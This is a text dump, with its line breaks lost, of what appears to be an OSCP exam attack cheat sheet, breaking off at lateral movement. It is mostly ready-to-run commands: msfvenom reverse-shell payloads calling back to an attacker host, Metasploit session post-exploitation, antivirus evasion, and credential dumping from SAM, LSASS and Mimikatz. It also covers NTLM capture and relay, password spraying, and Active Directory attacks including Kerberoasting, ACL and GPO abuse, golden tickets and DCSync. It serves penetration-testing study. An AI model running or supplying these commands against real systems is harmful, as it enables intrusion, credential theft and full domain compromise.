msfvenom --list formats ; msfvenom --list encoders# stageless (self-contained; catch with nc OR a matching handler)msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o sh.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o sh.exe# staged Meterpreter (needs multi/handler with the SAME payload)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o met.exe# web payloadsmsfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw > sh.phpmsfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o sh.aspxmsfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o sh.war# encode to dodge bad chars (BOFs/filters) or output as base64/powershellmsfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f c -b '\x00\x0a\x0d' -e x86/shikata_ga_nai -i 5msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f base64msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f psh -o sh.ps1Metasploit multi/handler
multi/handler is Metasploit's listener — the receiving end for a payload you built with msfvenom. Reach for it when the payload is staged (a tiny first stage that pulls the rest of the payload down over the connection) or is Meterpreter: a plain nc listener can't complete the handshake for those, so the shell dies the moment it connects. Point the handler at the exact payload, LHOST and LPORT you generated, run it backgrounded (-j), and it catches the callback and drops you into a session you can list, background and juggle. A stageless, non-Meterpreter payload (shell_reverse_tcp) lands fine on nc — you only need the handler for staged or Meterpreter payloads.
msfconsole -quse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcp # MUST match the msfvenom payload exactlyset LHOST tun0 ; set LPORT 443set ExitOnSession falserun -j # -j backgrounds the handler# one-liner, no interactive console:msfconsole -q -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST $LHOST;set LPORT 443;run -j"# working a session:sessions -l ; sessions -i 1getuid ; sysinfo ; hashdump ; getsystem ; shell ; backgroundgetsystem # SeImpersonate/SeDebug → SYSTEMps ; migrate <pid> # move into a stable SYSTEM processload kiwi ; creds_all ; lsa_dump_sam # in-memory mimikatzrun post/windows/gather/hashdump# pivot the internal subnet through this session:run autoroute -s 10.10.20.0/24 # or: use multi/manage/autorouteuse auxiliary/server/socks_proxy ; set VERSION 5 ; run -j # → proxychainsportfwd add -l 3389 -p 3389 -r 10.10.20.5 # forward one internal port to KaliAV evasion (when Defender eats your payload)
On the exam, static AV on Windows will flag raw msfvenom EXEs and mimikatz. A few OSCP-appropriate moves get a shell through:
# 1) inject shellcode into a legit signed PE (Shellter — the classic OSCP evasion tool)sudo apt install shellter ; sudo shellter # Auto mode, point it at e.g. plink.exe# 2) msfvenom: encode, iterate, and wrap in a real binary as a templatemsfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=443 -e x86/shikata_ga_nai -i 9 \
-x C:\legit.exe -k -f exe -o payload.exe# 3) prefer NON-meterpreter (shell_reverse_tcp), run from memory, and rename tools# 4) mimikatz flagged? use Invoke-Mimikatz in memory, or procdump lsass + pypykatz offlineTurn hashes into passwords
Password Cracking — John & Hashcat
You'll collect hashes everywhere — web DBs, SAM, shadow, Kerberos, protected files. Identify the format, pick the tool, then escalate: wordlist alone → wordlist + rules → masks.
hashid -m 'HASH' # suggests the hashcat -m modenth --text 'HASH' # name-that-hash (pipx install name-that-hash)hashcat --example-hashes | less # match your hash's shape to a modezip2john secret.zip > zip.hash # also: 7z2john, rar2johnssh2john id_rsa > ssh.hash # encrypted SSH private keykeepass2john db.kdbx > kp.hash # KeePass databaseoffice2john report.docx > office.hash # Office docspdf2john file.pdf > pdf.hash ; gpg2john key.asc > gpg.hash# then crack with john OR hashcat -m <mode># SSH key passphrase in hashcat: -m 22911 (RSA/DSA) / -m 22921 (newer OpenSSH bcrypt)ssh2john id_rsa > ssh.hash ; hashcat -m 22921 ssh.hash rockyou.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # auto-detect formatjohn --format=raw-md5 --wordlist=rockyou.txt hashes.txt # force a formatjohn --wordlist=rockyou.txt --rules=Jumbo hashes.txt # apply mangling rulesjohn --show hashes.txt # results (from john.pot)# crack Linux loginsunshadow /etc/passwd /etc/shadow > unshadowed.txtjohn --wordlist=rockyou.txt unshadowed.txthashcat -m 1000 ntlm.txt rockyou.txt # -a 0 straight (default)hashcat -m 0 md5.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rulehashcat -m 0 md5.txt -a 3 '?u?l?l?l?l?d?d?d' # -a 3 mask / brutehashcat -m 0 md5.txt -a 6 rockyou.txt '?d?d?d' # -a 6 wordlist + mask (append)hashcat -m 0 md5.txt -a 7 '?d?d?d' rockyou.txt # -a 7 mask + wordlist (prepend)hashcat -m 0 md5.txt rockyou.txt --show --username # print cracked, keep user columnhashcat -m 1000 ntlm.txt rockyou.txt --force # CPU-only exam VMhashcat -b -m 1000 # benchmark a mode0 MD5 100 SHA11000 NTLM 1800 sha512crypt ($6$ Linux shadow)500 md5crypt ($1$) 3200 bcrypt ($2*$)5600 NetNTLMv2 13100 Kerberoast (RC4)18200 AS-REP 19700 Kerberoast (AES)160 HMAC-SHA1 1000 NTLM (pass-the-hash source)best64.rule # small, high-value — always try firstrockyou-30000.rule # bigger, derived from rockyou patternsdive.rule # huge and thorough (slow)OneRuleToRuleThemAll.rule # community favourite — drop it into rules/hashcat -m 1000 ntlm.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule# stack rules — applied in sequence, multiplies keyspacehashcat -m 1000 ntlm.txt rockyou.txt -r best64.rule -r rules/toggles1.rule# one rule per line; multiple functions run left → right on each word: do nothing (keep the word as-is)l u c lowercase / uppercase / capitalise$1 $! append characters → word + "1!"^A prepend a charactersa@ so0 se3 substitute a→@ o→0 e→3 (leetspeak)r d t reverse / duplicate / toggle case# example file season.rulec $2 $0 $2 $5 # Capitalise + append 2025 → Summer2025c $2 $0 $2 $5 $! # + a bang → Summer2025!so0 se3 sa@ # leetspeak → S3cr3t → ...# preview mutations WITHOUT cracking:echo summer | hashcat --stdout -r season.rule# then crack with ithashcat -m 1000 ntlm.txt rockyou.txt -r season.rule?l lower ?u upper ?d digit ?s special ?a all ?b raw byte-1 ?u?l # define custom set 1, then reference it as ?1hashcat -m 0 h.txt -a 3 -1 ?u?l '?1?l?l?l?l?d?d' # match a known password policyDumping SAM & SYSTEM → local NTLM hashes
Local account hashes live in the SAM hive, encrypted with a boot key stored in the SYSTEM hive. Grab both, then extract the NTLM hashes offline with impacket-secretsdump — no need to touch LSASS. Needs local admin / SYSTEM (or SeBackupPrivilege). Add SECURITY for LSA secrets and cached domain creds.
# registry save — the simplest, from an admin shellreg save HKLM\SAM C:\Temp\sam & reg save HKLM\SYSTEM C:\Temp\systemreg save HKLM\SECURITY C:\Temp\security # optional: LSA secrets / cached creds# SeBackupPrivilege but not full admin? copy the locked files, bypassing the DACLrobocopy /b C:\Windows\System32\config C:\Temp SAM SYSTEM# or a Volume Shadow Copy (files are locked while Windows runs)diskshadow /s script.txt # (or vssadmin create shadow), then copy from the snapshot# copy sam/system back to Kali, then parse them offlineimpacket-secretsdump -sam sam -system system LOCALimpacket-secretsdump -sam sam -system system -security security LOCAL # + LSA & cached creds# output line: Administrator:500:aad3b435...:<NTLM>::: → the field after the 3rd ':' is the NT hash# or dump it remotely in one shot (needs admin creds or a hash)impacket-secretsdump domain.tld/USER:PASS@$IPimpacket-secretsdump -hashes :NTHASH Administrator@$IP # pass-the-hash, no passwordnxc smb $IP -u USER -p PASS --sam --lsa # nxc does the whole thing for youPassword-manager & vault databases
Users stash everything in a KeePass or Password Safe vault — cracking one master password often hands you every credential on the network. Find the file, extract the hash, crack it, then open it.
# Linuxfind / -type f \( -iname '*.kdbx' -o -iname '*.kdb' -o -iname '*.psafe3' -o -iname '*.opvault' \) 2>/dev/nulllocate .kdbx 2>/dev/null ; ls -la ~/.config/keepassxc ~/.keepass 2>/dev/null# Windowsdir /s /b C:\*.kdbx C:\*.kdb C:\*.psafe3 2>nulGet-ChildItem C:\ -Recurse -Include *.kdbx,*.kdb,*.psafe3 -ErrorAction SilentlyContinuelazagne.exe all # also pulls KeePass/browser/wifi/RDP creds automatically (Windows)keepass2john Database.kdbx > kp.hash # KeePass 1.x / 2.x# → for hashcat, delete the leading 'Database:' label from the linehashcat -m 13400 kp.hash /usr/share/wordlists/rockyou.txt # KeePassjohn --wordlist=rockyou.txt kp.hash# Password Safe (.psafe3)hashcat -m 5200 pwsafe.hash rockyou.txt# same pattern for other vaults: ansible2john / bitlocker2john / luks2john# → hashcat -m 16900 (Ansible) / -m 22100 (BitLocker) / -m 14600 (LUKS)Capturing & relaying NetNTLMv2
When you can make a Windows host authenticate to you — poisoned name resolution, a UNC path in a field, or coercion — you capture its NetNTLMv2 challenge-response. You can't pass-the-hash it (it's not the NT hash), so you either crack it offline or relay it live to a host where SMB signing is off.
sudo responder -I tun0 -wv # poison LLMNR / NBT-NS / mDNS, log hashes# trigger: get a victim to touch \\LHOST\anything (link, form field, file preview…)hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt # crack the captured NetNTLMv2nxc smb <range> --gen-relay-list targets.txt # SMB-signing-OFF hosts# turn Responder's own SMB/HTTP servers OFF in Responder.conf so ntlmrelayx can bind themimpacket-ntlmrelayx -tf targets.txt -smb2support # dumps SAM by defaultimpacket-ntlmrelayx -tf targets.txt -smb2support -c 'powershell -enc <b64>' # run a commandimpacket-ntlmrelayx -tf targets.txt -smb2support -i # -i: interactive SMB on 127.0.0.1:11000impacket-ntlmrelayx -t ldap://dc.domain.tld --escalate-user LOWUSER # relay to LDAP → grant DCSyncGuess your way in
Brute Force & Password Spraying
Cracking (previous section) is offline — you already hold the hash. This section is online: throwing guesses at a live service. Two shapes, and the difference matters for lockouts: brute force = many passwords against one account; password spraying = one password against many accounts. Spray first — it's how you avoid locking everyone out. And never forget the cheapest attack of all: credential reuse — a password found anywhere gets tried on every service and every user.
First build the username & password lists
A brute force is only as good as its lists. Gather names and candidate passwords from what enumeration already gave you — don't reach for rockyou.txt against a login form by reflex.
SMB / ADnxc --rid-brute, kerbrute userenum, enum4linux-ng, impacket-lookupsidLinux host/etc/passwd (shells), home dir names, mail spool, ~/.sshWeb appauthor enum (/?author=N, /wp-json), 'Team'/'About' pages, email format firstname.lastnameDocumentsPDF/Office metadata authors (exiftool), signatures, headers/footersDefault accountsadmin, administrator, root, guest, tomcat, service-name accountscewl -d 3 -m 5 -w cewl.txt http://$IP/ # scrape the site → candidate passwordsusername-anarchy -i names.txt > users.txt # firstname/lastname → login permutationshashcat --stdout cewl.txt -r best64.rule | sort -u > mutations.txt # add Season2025! style# combine a known email list + a password list into a combo for --user-pass style toolsfor u in $(cat users.txt); do echo "$u:Welcome1"; done > spray.comboPassword spraying — safest, do it first
# ALWAYS read the policy first so you don't lock accounts:nxc smb $IP -u anyuser -p anypass --pass-pol # LockoutThreshold / duration / windownet accounts /domain # (from a Windows foothold)# one password across all users, across services — --continue-on-success finds every hitnxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-successnxc winrm $IP -u users.txt -p 'Autumn2025!' --continue-on-successnxc ldap $IP -u users.txt -p 'Autumn2025!' --continue-on-successkerbrute passwordspray -d domain.tld --dc $IP users.txt 'Autumn2025!'Online brute force — per service
hydra -L users.txt -P rockyou.txt ssh://$IP -t 4 # SSH (keep threads low)hydra -L users.txt -P pass.txt ftp://$IPhydra -l administrator -P pass.txt rdp://$IPhydra -L users.txt -P pass.txt $IP smb # or: nxc smb $IP -u users.txt -p pass.txtmedusa -h $IP -U users.txt -P pass.txt -M ssh -t 4patator ssh_login host=$IP user=FILE0 password=FILE1 0=users.txt 1=pass.txt -x ignore:mesg=timeout# 1) submit the form in the browser/Burp, note the path, the field names, and a FAILURE string# 2) syntax: "<path>:<post-body with ^USER^/^PASS^>:<F=failure text | S=success text>"hydra -L users.txt -P rockyou.txt $IP http-post-form \
"/login.php:username=^USER^&password=^PASS^:F=Invalid credentials"# HTTP Basic-Auth instead of a form:hydra -L users.txt -P pass.txt $IP http-get /admin/# WordPress: let WPScan drive it (xmlrpc multicall is far faster than hydra)wpscan --url http://$IP/ -U users.txt -P rockyou.txt --password-attack xmlrpcMap the domain first
Active Directory — Enumeration
Enumeration is the whole game in AD: you're building a picture of users, groups, ACLs, delegation and GPOs, and every finding maps to a specific attack in the next section. Collect broadly, mark what you own, and let BloodHound show the path.
1 · Users & the domain (no creds yet)
nxc smb $IP -u '' -p '' --rid-brute 10000 # users via RID cyclingnxc smb $IP -u guest -p '' --rid-brute 10000 # guest often works when null doesn'tkerbrute userenum -d domain.tld --dc $IP /usr/share/seclists/Usernames/xato-net-10-million-usernames.txtenum4linux-ng -A $IPnxc ldap $IP -u '' -p '' --query "(objectClass=user)" "" # anonymous LDAP if allowed2 · Deeper enumeration (with any creds)
impacket-GetADUsers -all domain.tld/USER:PASS -dc-ip $IPldapdomaindump -u 'domain.tld\USER' -p PASS $IP -o ldapdump/ # HTML dump of the whole dirwindapsearch --dc-ip $IP -u USER@domain.tld -p PASS --da # Domain Adminswindapsearch --dc-ip $IP -u USER@domain.tld -p PASS -PU # privileged usersnxc ldap $IP -u USER -p PASS --users # descriptions often hold passwords!nxc ldap $IP -u USER -p PASS -M get-desc-users -M user-descnxc ldap $IP -u USER -p PASS -M laps # readable LAPS passwordsnxc ldap $IP -u USER -p PASS -M maq # MachineAccountQuota → RBCD?nxc ldap $IP -u USER -p PASS -M adcs -M enum_trustsnxc smb $IP -u USER -p PASS --shares --sessions --loggedon-usersnxc smb $IP -u USER -p PASS --spider-plus --share SYSVOL # hunt creds inside shares3 · PowerView, from a Windows foothold
. .\PowerView.ps1Get-DomainUser -Properties samaccountname,description | fl # descriptions = free credsGet-DomainGroupMember 'Domain Admins'Get-DomainUser -SPN # kerberoastable accountsGet-DomainUser -PreauthNotRequired # AS-REP roastableGet-DomainComputer -Unconstrained # unconstrained delegationFind-LocalAdminAccess # boxes where you are local adminGet-NetSession -ComputerName <host> # where admins are logged in (hunt DA)Get-DomainTrust ; Invoke-Kerberoast -OutputFormat Hashcat# ACL abuse discovery + SID→name resolutionGet-ObjectAcl -Identity <user> -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'GenericAll|WriteDacl|WriteOwner'}Convert-SidToName S-1-5-21-...-1104 # turn a SID into a nameFind-DomainShare -CheckShareAccess ; setspn -L <svc_account> # shares / SPNsnet user /domain ; net group /domain ; net group "Domain Admins" /domainsetspn -T domain.tld -Q */* # every SPN in the domain (kerberoast targets).\PsLoggedon.exe \\files04 # who's logged on a host (Sysinternals)# pure .NET / ADSI domain object — no binaries at all:[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()4 · Group Policy (GPO) enumeration
# PowerView (Windows) — list GPOs, then who can modify eachGet-DomainGPO | select displayname, gpcfilesyspathGet-DomainGPO -Identity 'Some Policy' | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl|GenericWrite|GenericAll' }Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators # who is admin where, via GPOGet-DomainOU | select name, gplink # which OUs each GPO is linked to# from Kali — Group Policy Preferences secrets in SYSVOLnxc smb $IP -u USER -p PASS -M gpp_password # cpassword in Groups.xmlnxc smb $IP -u USER -p PASS -M gpp_autologin# BloodHound also flags editable GPOs — see the Cypher below5 · Map the domain with BloodHound CE
BloodHound comes in two flavours: Community Edition (the current one — a web UI you run locally, usually via Docker) and the older BloodHound Legacy (the neo4j + Electron desktop app, still perfectly usable). Either works — CE is just the actively maintained version, and 'runs in Docker' still means it runs on your own machine. SharpHound (or a Python/Rust collector) gathers the data; you drop the zip into whichever UI and hunt with Cypher. Match the collector to your BloodHound version. Collector links are in 25 · Tooling.
bloodhound-ce-python -u USER -p PASS -d domain.tld -ns $IP -c All --zipnxc ldap $IP -u USER -p PASS --bloodhound --collection All --dns-server $IP.\SharpHound.exe -c All --zipfilename loot.zip # Windows foothold (match CE version).\SharpHound.exe -c DCOnly # stealthy: LDAP only, no host touch.\SharpHound.exe -c Session,LoggedOn --loop --loopduration 00:30:00 # session huntingrusthound-ce -d domain.tld -u USER@domain.tld -p PASS -z # fast static-binary collectorsudo apt install bloodhound # Kali CE packagecurl -L https://ghst.ly/getbhce | docker compose -f - up # or Docker Compose# browse http://localhost:8080 (admin password prints in the container logs)# Administration → File Ingest → drag the SharpHound .zip in, then use the Cypher tab6 · Useful Cypher queries (paste into the Cypher tab)
// Kerberoastable usersMATCH (u:User {hasspn:true}) RETURN u// AS-REP roastable usersMATCH (u:User {dontreqpreauth:true}) RETURN u// Computers with unconstrained delegationMATCH (c:Computer {unconstraineddelegation:true}) RETURN c// Principals with DCSync on the domainMATCH p=(n)-[:DCSync|GetChanges|GetChangesAll|AllExtendedRights|GenericAll]->(:Domain) RETURN p// GPOs your owned principals can modifyMATCH p=(u {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(:GPO) RETURN p// mark a principal owned (or right-click → Mark as Owned in the UI)MATCH (u:User) WHERE u.name = 'BOB@DOMAIN.TLD' SET u.owned=true// shortest path from ANY node to Domain AdminsMATCH p=shortestPath((n)-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p// shortest path from owned principals to Domain AdminsMATCH p=shortestPath((u {owned:true})-[*1..]->(g:Group)) WHERE g.objectid ENDS WITH '-512' RETURN p// dangerous outbound rights FROM anything you own (the edges you can abuse now)MATCH p=(u {owned:true})-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|AddMember|Owns|AddKeyCredentialLink*1..]->(n) RETURN p// where you already have local admin / can RDPMATCH p=(u {owned:true})-[:AdminTo|CanRDP]->(c:Computer) RETURN p// where are Domain Admins logged in (harvest creds there)MATCH p=(c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group)WHERE g.objectid ENDS WITH '-512' RETURN p// accounts whose description holds a password (classic freebie)MATCH (u:User) WHERE u.description CONTAINS 'pass' RETURN u.name, u.descriptionEnumeration → Attack decision map
What each finding tells you to do next — every row points at a numbered play in 15 · AD Attacks.
User with pre-auth disabled (dontreqpreauth)AS-REP roast, crack -m 18200 — AttacksA user/service account with an SPNKerberoast, crack -m 13100 — AttacksOne valid password + lockout headroompassword-spray it across all users — AttacksPassword in a description / SYSVOL GPPjust use it — authenticate & spray (free win)Outbound ACL edge from an owned nodeACL abuse: change pw / add member / targeted roast — AttacksAn editable GPO linked to a populated OUGPO abuse: local-admin or SYSTEM task — AttacksA cred/hash that is local admin somewherelateral movement (wmiexec / evil-winrm) — Lateral Movement (§16)Unconstrained / constrained delegation, or MAQ>0delegation abuse (getST / RBCD) — AttacksSMB signing disabled on hostscoerce + NTLM relay — AttacksGetChanges + GetChangesAll on the domainDCSync the whole domain — AttacksLocal admin / SYSTEM on any hostdump SAM/LSA/LSASS for more creds — AttacksTurn findings into access
Active Directory — Attacks
Each play opens with When — the enumeration finding that makes it the right move. Follow the decision map from 14 · AD Enumeration. Once a credential lands you on a box, move host-to-host in 16 · Lateral Movement.
Mimikatz — dump creds, keys & tickets
The go-to Windows post-exploitation tool (needs local admin / SYSTEM). It reads secrets straight from LSASS and the registry, and forges or injects Kerberos tickets. From Kali you rarely need it — impacket and nxc do the same over the wire — but on a Windows foothold it's king.
.\mimikatz.exeprivilege::debug # enable SeDebug (needs admin)sekurlsa::logonpasswords # plaintext / NTLM / Kerberos from LSASSsekurlsa::ekeys # AES keys — for AES silver/golden & over-pass-the-hashlsadump::sam # local SAM hasheslsadump::secrets # LSA secrets (service-account passwords)lsadump::dcsync /user:krbtgt # DCSync a user's hash (needs DCSync rights)sekurlsa::pth /user:Administrator /domain:corp /ntlm:<NT> /run:cmd # pass-the-hash# non-interactive one-liner:.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exitPassword spraying & using a TGT
When: you have one working password (or a seasonal pattern) and the lockout policy leaves headroom. After a hit, request a Kerberos TGT and reuse it (pass-the-ticket) instead of resending the password.
nxc smb $IP -u USER -p PASS --pass-pol # read lockout threshold FIRSTnxc smb $IP -u users.txt -p 'Autumn2025!' --continue-on-successkerbrute passwordspray -d domain.tld --dc $IP users.txt 'Autumn2025!'# request a TGT for the valid account, then act as it (pass-the-ticket)impacket-getTGT domain.tld/USER:PASS -dc-ip $IP # writes USER.ccacheexport KRB5CCNAME=USER.ccacheimpacket-psexec -k -no-pass domain.tld/USER@target.domain.tldAS-REP roasting
When: enumeration flagged a user with pre-auth not required (dontreqpreauth) — or you have no creds yet and want a first crackable hash. Then: crack the hash offline (-m 18200); the recovered plaintext is a genuine domain password — spray it across every user and service and re-enumerate the domain as that account (its group memberships may open new paths).
# ---- Linux (Kali) ----impacket-GetNPUsers domain.tld/ -usersfile users.txt -no-pass -dc-ip $IP -outputfile asrep.hashnxc ldap $IP -u USER -p PASS --asreproast asrep.hash # grab all in one go with creds# ---- Windows ----.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash# ---- crack (either OS) ----hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txtKerberoasting
When: you hold any valid domain creds and enumeration shows accounts with SPNs (service accounts). Prioritise RC4 tickets and accounts with a path to DA. Then: crack offline (-m 13100). Service accounts are frequently over-privileged — SQL/backup admins, sometimes Domain Admin — so test the plaintext for local-admin (nxc), a BloodHound path to DA, and reuse on other services; a Kerberoasted SQL account often leads straight to xp_cmdshell RCE.
# ---- Linux (Kali) ----impacket-GetUserSPNs domain.tld/USER:PASS -dc-ip $IP -request -outputfile krb.hashnxc ldap $IP -u USER -p PASS --kerberoasting krb.hash# ---- Windows ----.\Rubeus.exe kerberoast /outfile:krb.hash# ---- crack (either OS) ----hashcat -m 13100 krb.hash /usr/share/wordlists/rockyou.txtAbuse an ACL edge
When: BloodHound shows an outbound edge (GenericAll, GenericWrite, WriteDacl, ForceChangePassword, AddMember, AddKeyCredentialLink) from a principal you own to a higher-value target. Then: you now control that target — log in with the new password, the shadow-cred PKINIT ticket, or your new group rights — so mark it Owned in BloodHound and re-run Shortest-Path-from-Owned; each edge you consume usually reveals the next one toward Domain Admin.
# ForceChangePassword over a usernet rpc password TARGET 'NewPass123!' -U domain.tld/USER%PASS -S $IP# AddMember / GenericAll over a group → add yourselfnet rpc group addmem 'GROUP' USER -U domain.tld/USER%PASS -S $IP# GenericAll over a user → targeted Kerberoast (set an SPN, then roast)targetedKerberoast.py -d domain.tld -u USER -p PASS --request-user TARGET# GenericWrite/GenericAll over a computer → Shadow Credentialspywhisker -d domain.tld -u USER -p PASS --target TARGET$ --action addAbuse a vulnerable GPO
When: enumeration (BloodHound / PowerView) shows you can modify a GPO that is linked to an OU containing users or computers you want. Editing it pushes your payload to every object in that OU.
# add yourself to local Administrators on machines in the linked OUSharpGPOAbuse.exe --AddLocalAdmin --UserAccount USER --GPOName "Vulnerable Policy"# or run a command as SYSTEM via an immediate scheduled taskSharpGPOAbuse.exe --AddComputerTask --TaskName up --Author domain\USER \
--Command cmd.exe --Arguments "/c net localgroup administrators USER /add" --GPOName "Vulnerable Policy"# from Kalipygpoabuse.py domain.tld/USER:PASS -gpo-id <GPO-GUID> -command 'net localgroup administrators USER /add'# then force a refresh on the target (or wait up to 90 min): gpupdate /forceDelegation abuse
When: enumeration shows constrained delegation (msDS-AllowedToDelegateTo), unconstrained delegation, or you can write to a computer object with MachineAccountQuota > 0 (RBCD). Then: the getST output is a service ticket impersonating Administrator to the target SPN — use it with -k -no-pass exactly like a silver ticket (cifs/ → psexec/SYSTEM on that host). Unconstrained instead: coerce a DC to authenticate to your compromised host, capture its TGT from memory, and reuse it to DCSync.
# CONSTRAINED — impersonate a user to the allowed SPNimpacket-getST -spn cifs/target.domain.tld -impersonate Administrator domain.tld/svc$:PASS -dc-ip $IP# RBCD — GenericWrite over a computer + MAQ>0impacket-addcomputer -computer-name EVIL$ -computer-pass P@ss123 domain.tld/USER:PASS -dc-ip $IPimpacket-rbcd -delegate-from EVIL$ -delegate-to TARGET$ -action write domain.tld/USER:PASSimpacket-getST -spn cifs/target.domain.tld -impersonate Administrator domain.tld/EVIL$:P@ss123export KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass target.domain.tldCoercion & NTLM relay
When: enumeration shows SMB signing disabled on a target, and you can force an authentication (or want to relay to LDAP / AD CS). Then: the coerced auth lands in ntlmrelayx → relay to SMB on a signing-off host to dump its SAM or get a shell, or relay to LDAP with --escalate-user to grant your low-priv account DCSync. With -socks, keep the session alive and proxychains impacket tools through it. NetNTLMv2 you capture but can't relay → crack it (-m 5600).
nxc smb <range> --gen-relay-list relay.txt # signing-off targetsimpacket-ntlmrelayx -tf relay.txt -smb2support -socksimpacket-PetitPotam <listener-ip> $IPprinterbug.py domain.tld/USER:PASS@$IP <listener-ip>nxc smb $IP -u '' -p '' -M zerologon ; nxc smb $IP -u USER -p PASS -M nopac -M petitpotamCredential dumping (SAM · LSA · LSASS)
When: you're local admin / SYSTEM on a host — pull more secrets to reuse across the domain. Then: pass-the-hash the recovered NT hashes across the network (nxc smb <range> -u USER -H <hash>) to find where each is admin, crack what you can for plaintext reuse, and look for domain creds cached in LSASS (a logged-in DA is game over). A reused local-admin hash frequently unlocks every workstation at once.
nxc smb $IP -u USER -p PASS --sam --lsa ; nxc smb $IP -u USER -p PASS -M lsassyreg save HKLM\SAM sam.hive & reg save HKLM\SYSTEM system.hive & reg save HKLM\SECURITY sec.hiveimpacket-secretsdump -sam sam.hive -system system.hive -security sec.hive LOCALprocdump.exe -accepteula -ma lsass.exe lsass.dmp ; pypykatz lsa minidump lsass.dmpSilver tickets
When: you have a service or computer account's hash/AES key. Forge a service ticket (TGS) for that one service on that one host — it never touches the DC, so it's stealthy and survives a krbtgt reset. Then: present the forged ticket with -k -no-pass (or /ptt) to that SPN as any user, including Administrator: cifs/ → file shares & psexec/SYSTEM, http/ → the web app / WinRM, mssqlsvc/ → the database (xp_cmdshell), host/ → schedule a task. One host, no DA, no DC — perfect when you cracked a service account but it isn't a local admin.
impacket-lookupsid domain.tld/USER:PASS@$IP | grep 'Domain SID' # get the SID first# ---- Linux (Kali) ----impacket-ticketer -nthash <SERVICE_NT> -domain-sid S-1-5-21-1-2-3 -domain domain.tld \
-spn cifs/target.domain.tld Administratorexport KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass target.domain.tld# ---- Windows ----.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.tld /sid:S-1-5-21-1-2-3 /target:target.domain.tld /service:cifs /rc4:<SERVICE_NT> /ptt" exitGolden tickets
When: you have the krbtgt hash (from DCSync, below). Mint a TGT for anyone and any service — complete, persistent domain compromise. Then: inject it (/ptt, or export KRB5CCNAME) and authenticate anywhere as Administrator/DA — psexec/wmiexec the DC, DCSync at will, read every box. Keep it as persistence: a Golden ticket survives every password reset except krbtgt's (reset twice to kill it). For the exam, grab your proof flags — don't leave gratuitous backdoors.
# ---- Linux (Kali) ----impacket-ticketer -nthash <KRBTGT_NT> -domain-sid S-1-5-21-1-2-3 -domain domain.tld Administratorexport KRB5CCNAME=Administrator.ccache ; impacket-psexec -k -no-pass domain.tld/Administrator@dc.domain.tld# ---- Windows ----.\mimikatz.exe "kerberos::golden /user:Administrator /domain:domain.tld /sid:S-1-5-21-1-2-3 /krbtgt:<KRBTGT_NT> /ptt" exit.\Rubeus.exe golden /rc4:<KRBTGT_NT> /domain:domain.tld /sid:S-1-5-21-1-2-3 /user:Administrator /ptt# child → parent (SID-history abuse): add the PARENT domain's -512 SID as -extra-sidimpacket-ticketer -nthash <CHILD_KRBTGT> -domain child.domain.tld -domain-sid <CHILD_SID> \
-extra-sid <PARENT_SID>-519 Administrator # → Enterprise Admin across the forestDCSync & domain dominance
When: you (or a group you're in) hold GetChanges + GetChangesAll on the domain — usually reached via an ACL edge above. This hands you every hash, including krbtgt for a Golden ticket. Then: take krbtgt → forge a Golden ticket (above); take the Administrator NT hash → pass-the-hash to the DC and every host; crack or reuse the rest. DCSync is usually the last step — you already own the domain by the time you can run it.
# ---- Linux (Kali) ----impacket-secretsdump domain.tld/USER:PASS@$IP # all domain hashesimpacket-secretsdump -just-dc-user krbtgt domain.tld/USER:PASS@$IP # just krbtgt (→ Golden)nxc smb $IP -u USER -p PASS --ntds # dump NTDS.dit via the DC# ---- Windows ----.\mimikatz.exe "lsadump::dcsync /domain:domain.tld /user:krbtgt" exitAD attack cheat-table — what each needs & gives
Password Sprayneed: a user list · get: a valid plaintext cred · crack: no · use: initial accessAS-REP Roastingneed: a domain user + a pre-auth-disabled account · get: AS-REP hash · crack: YES (-m 18200)Kerberoastingneed: any domain creds + an SPN account · get: TGS hash · crack: YES (-m 13100)Silver Ticketneed: a service account's hash · get: forged TGS to one service · crack: noGolden Ticketneed: the krbtgt hash · get: forged TGT = whole domain · crack: no · use: dominance/persistenceDCSyncneed: GetChanges/GetChangesAll (DA-ish) · get: every NTLM hash · crack: noPass-the-Hashneed: an NT hash · get: an authenticated session · crack: noOver-Pass-the-Hashneed: an NT hash / AES key · get: a Kerberos TGT · crack: noPass-the-Ticketneed: local admin (ticket in memory) · get: reuse of an active ticket · crack: noMove host to host
Active Directory — Lateral Movement
Once you hold a credential, hash, or ticket that is local admin somewhere — a (Pwn3d!) from nxc or an AdminTo edge in BloodHound — pivot across the domain. Every method below accepts a password, an NT hash (pass-the-hash), or a Kerberos ticket (-k -no-pass).
WMI & WinRM
Quiet, no service dropped. WMI (wmiexec) and WinRM (evil-winrm / PSRemoting) are the first choice when the host allows them (WinRM = 5985/5986).
